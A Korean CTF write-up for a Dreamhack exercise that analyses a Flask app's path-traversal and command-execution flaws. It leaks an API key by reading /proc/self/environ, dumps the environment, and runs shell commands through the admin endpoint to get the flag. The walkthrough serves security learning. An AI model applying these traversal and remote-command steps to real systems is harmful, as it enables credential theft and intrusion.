반응형
문제 설명
Exercise: File Vulnerability Advanced for Linux에서 실습하는 문제입니다.
코드 분석
main.py
API_KEY = os.environ.get('API_KEY', None)
def key_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.args.get('API_KEY', None)
if API_KEY and apikey:
if apikey == API_KEY:
return view(**kwargs)
return 'Access Denied !'
return wrapped_view
- 환경변수 API_KEY 가져오기 없으면 None
- 쿼리스트링에서 API_KEY 파라미터 추출
- API_KEY와 apikey 일치하면 view 함수 실행 아니면 Access Deined
@app.route('/file', methods=['GET'])
def file():
path = request.args.get('path', None)
if path:
data = open('./files/' + path).read()
return data
return 'Error !'
- ./files/ 뒤에 붙여서 그대로 파일 읽기
- path는 쿼리스트링으로 path 가져옴
@app.route('/admin', methods=['GET'])
@key_required
def admin():
cmd = request.args.get('cmd', None)
if cmd:
result = subprocess.getoutput(cmd)
return result
else:
return 'Error !'
- key_required 데코레이터로 API_KEY 검사
- 통과하면 cmd 쿼리스트링으로 가져옴
- subprocess.getoutput(cmd)는 쉘 명령 실행
즉 RCE가 가능
취약점 분석
- 쿼리스트링으로 가져오는 path에 대한 검증이 없음
- 인증이 API_KEY 하나임
익스플로잇
먼저 API_KEY를 찾아야 한다.
API_KEY가 환경변수에 있다는 것을 코드분석에서 봤었다.
즉, 리눅스에서 환경변수는 /proc/self/environ 에 있으므로 확인을 해본다.
HOSTNAME=localhost
PYTHON_PIP_VERSION=23.0.1
HOME=/root
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
UWSGI_INI=/app/uwsgi.ini
container=podman
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.py
TERM=xterm
UWSGI_CHEAPER=2
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
port=80
LANG=C.UTF-8
API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f
PYTHON_VERSION=3.10.12
PYTHON_SETUPTOOLS_VERSION=65.5.1
NGINX_WORKER_PROCESSES=1
STATIC_INDEX=0
LISTEN_PORT=80
PWD=/app
PYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207
STATIC_PATH=/app/static
PYTHONPATH=/app
SUPERVISOR_ENABLED=1
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
대충 이런 식으로 쓰여있는데 API 키가 그대로 노출되어 있다.
따라서 api인증과 함께 cmd를 입력해 주면 파일을 그대로 가져올 수 있다.
/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd= ls -al /
먼저 확일이 무엇이 있는지부터 확인해 본다.
total 124
dr-xr-xr-x 1 root root 4096 Feb 7 12:41 .
dr-xr-xr-x 1 root root 4096 Feb 7 12:41 ..
drwxr-xr-x 1 root root 4096 Feb 7 12:41 app
drwxr-xr-x 2 root root 4096 Jul 28 2023 bin
drwxr-xr-x 2 root root 4096 Apr 2 2023 boot
drwxr-xr-x 8 root root 2540 Feb 7 12:41 dev
-rwxr-xr-x 1 root root 1936 Aug 14 2023 entrypoint.sh
drwxr-xr-x 1 root root 4096 Feb 7 12:41 etc
---x--x--x 1 root root 16608 Aug 18 2023 flag
drwxr-xr-x 3 root root 4096 Aug 18 2023 home
-rw-r--r-- 1 root root 3369 Aug 7 2023 install-nginx-debian.sh
drwxr-xr-x 8 root root 4096 Jul 28 2023 lib
drwxr-xr-x 2 root root 4096 Jul 25 2023 lib64
drwxr-xr-x 2 root root 4096 Jul 25 2023 media
drwxr-xr-x 2 root root 4096 Jul 25 2023 mnt
drwxr-xr-x 2 root root 4096 Jul 25 2023 opt
dr-xr-xr-x 109 root root 0 Feb 7 12:41 proc
drwx------ 3 root root 4096 Aug 18 2023 root
drwxr-xr-x 1 root root 4096 Feb 7 12:41 run
drwxr-xr-x 2 root root 4096 Jul 28 2023 sbin
drwxr-xr-x 2 root root 4096 Jul 25 2023 srv
-rwxr-xr-x 1 root root 404 Aug 7 2023 start.sh
dr-xr-xr-x 11 root root 0 Feb 7 12:41 sys
drwxrwxrwt 1 root root 4096 Feb 7 12:41 tmp
drwxr-xr-x 1 root root 4096 Jul 25 2023 usr
-rwxr-xr-x 1 root root 3146 Aug 7 2023 uwsgi-nginx-entrypoint.sh
drwxr-xr-x 1 root root 4096 Jul 25 2023 var
아마 다음과 같이 브라우저에 출력되는 것을 확인해 볼 수 있는데 flag 파일이 있는 것을 알 수 있다.
하지만 플래그 파일은 실행파일이기 때문에 cat을 명령어를 써서 읽어볼 수 없으므로 그냥 /flag를 써 실행시켜 주면 될듯하다.
/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=/flag

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| command-injection-chatgpt (0) | 2026.02.08 |
|---|---|
| Apache htaccess (0) | 2026.02.08 |
| sql injection bypass WAF (0) | 2026.02.06 |
| Command Injection Advanced (0) | 2026.02.06 |
| error based sql injection (0) | 2026.02.03 |